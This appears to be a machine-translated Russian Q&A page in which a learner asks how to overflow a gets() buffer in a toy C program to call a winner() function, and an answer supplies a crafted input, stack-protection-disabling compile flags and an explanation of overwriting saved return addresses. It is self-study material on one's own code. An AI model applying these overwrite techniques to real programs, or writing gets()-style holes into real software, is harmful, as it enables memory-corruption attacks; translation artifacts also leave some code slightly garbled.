#c #buffer #buffer-overflow
#c #buffer #buffer-переполнение
Вопрос:
Учитывая этот код:
#include <stdio.h>
#include <stdlib.h>
void winner(){
printf("I am a winner!");
}
int main()
{
int B = 0;
char A[4] = {};
printf("Enter a string: ");
gets( A );
// your line goes here //
return 0;
}
Можем ли мы изменить // line goes here //
и заставить эту программу печатать «Я победитель» (используя, конечно, только входные A
данные, которые мы получаем, и, возможно, переполнение буфера)? Это программа, которую я написал просто для того, чтобы поиграть с «переполнением буфера» и как это работает, но я не могу понять, как заставить ее работать, я попытался использовать эту строку:
printf("%s", ((void * ) B) );
и
printf("%s", amp;B);
Чтобы получить адрес — я просто запустил эту программу 2 раза, за один раз я напечатал ячейку памяти winner()
, а затем скопировал ее. Но есть ли способ без предварительного просмотра адреса (потому что, возможно, адрес меняется?), Используя, возможно, отладчики?
Но безрезультатно, программа не печатает и не обращается к внешней функции.. иногда даже происходит сбой — почему?
- Я написал это сам только для самообучения, и я не могу найти способ решить эту проблему (если есть способ.. Я не знаю ..)! с другой стороны, я не специалист по C, поэтому я подумал, что спрошу здесь. Спасибо!
Ответ №1:
Хм, в названии вашего вопроса это явно не отражено, вы пытались создать эксплойт переполнения буфера для вызова внешней функции.
Переполнение буфера с использованием уязвимых функций, таких как gets(), которые считывают входной поток до тех пор, пока не найдут нулевой ограничитель (игнорируя ограничение целевого буфера), В настоящее время смягчается с помощью ASLR, stack canaries и т. Д. На уровне компилятора.
#include <stdio.h>
#include <stdlib.h>
void winner()
{
printf("I am a winner!n");
}
int main()
{
int B = 0;
char A[4];
printf("winner() function is at 0x%pn", amp;winner);
printf("Enter 4 byte char array followed by target EIP addr in binary little endian format:n");
gets(A);
printf("Raw binary data at Integer B: 0x%pn", B);
printf("Pointer to A: 0x%pn", A);
printf("Pointer to B: 0x%pn", amp;B);
if (B)
{
printf("Raw binary non-null data at Integer B: 0x%pn", B);
void (*ptr)() = (void *)B;
printf("Pointer data in ptr: 0x%pn", ptr);
(*ptr)();
}
B = 0;
const char *p = A;
printf("Entered data at A: 0x");
for (; *p != ''; p )
printf("%x", *p);
printf("n");
return 0;
}
Ввод и вывод для переполнения буфера
echo -e 'aaaa' | ./a.exe
winner() function is at 0x00401460
Enter 4 byte char array followed by target EIP addr in binary little endian format:
Raw binary data at Integer B: 0x00000000
Pointer to A: 0x0061FF10
Pointer to B: 0x0061FF14
Entered data at A: 0x61616161
Ввод и вывод для переполнения буфера
echo -e 'aaaax60x14x40x00' | ./a.exe //the pointer to the function is obtained from previous execution and is input to the function in LITTLE ENDIAN format(0x00401460->x60x14x40x00).
winner() function is at 0x00401460
Enter 4 byte char array followed by target EIP addr in binary little endian format:
Raw binary data at Integer B: 0x00401460
Pointer to A: 0x0061FF10
Pointer to B: 0x0061FF14
Raw binary non-null data at Integer B: 0x00401460
Pointer data in ptr: 0x00401460
I am a winner! //winner() function is invoked.
Entered data at A: 0x61616161
Параметры компиляции
gcc -g main.c // -g flag is for debug compilation with symbols (non-optimized load/exe).
gcc -g main.c -fno-stack-protector // -fno-stack-protector disables any protection mechanism usually deployed by the compiler.
Но для реализации такого типа эксплойтов:
- Защита стека должна быть отключена (ASLR, stack canaries и т.д.) во время компиляции.
- Целевая функция должна присутствовать в ожидаемом исполняемом / объектном файле, например, если на функцию нигде не ссылаются, оптимизирующий компилятор может проигнорировать ее, и она никогда не будет найдена.
Ключевые моменты:
- Архитектура x86 и x64 использует инструкции push и pop для сохранения состояний регистра во время вызова функции в новом стековом фрейме при вводе функции.
- Таким образом, EIP / RIP (указатель инструкции, который указывает на следующую инструкцию сборки для выполнения) можно манипулировать, чтобы указать на любой целевой адрес путем перезаписи сохраненных IP-данных (return addr) в stackframe.
- Местоположение сохраненного EIP (обратного адреса) во фрейме стека (на который указывает ESP-расширенный указатель стека) должно быть расположено в памяти для манипулирования.
- Необходимо найти целевой адрес, который содержит интересующий код, который должен присутствовать в памяти, если он находится в том же адресном пространстве или в другом адресном пространстве, например, в другой загруженной общей библиотеке DLL или другом exe-процессе.
- Тем не менее, существует вероятность сбоя текущей уязвимой программы, поскольку атака переполнения буфера может перезаписать всю структуру между буфером и сохраненным EIP во фрейме стека, данные сохраненного регистра повреждаются при восстановлении во время возврата функции.
- Кроме того, текущая программа должна вернуть управление, чтобы продолжить работу без прерывания. Таким образом, элемент управления из функции эксплойта должен вернуться обратно к вызывающей функции или ее родительскому элементу.
- Обратите внимание, что фрейм стека растет от более высокого диапазона памяти к более низкому, поэтому локальные переменные помещаются в стек в порядке, обратном порядку объявления.
Ex: int B; char A[4] will be placed as:
(char A[4]) 0x------10 ____ (4-byte char data)
(int B) 0x------14 ____ (4-byte integer data)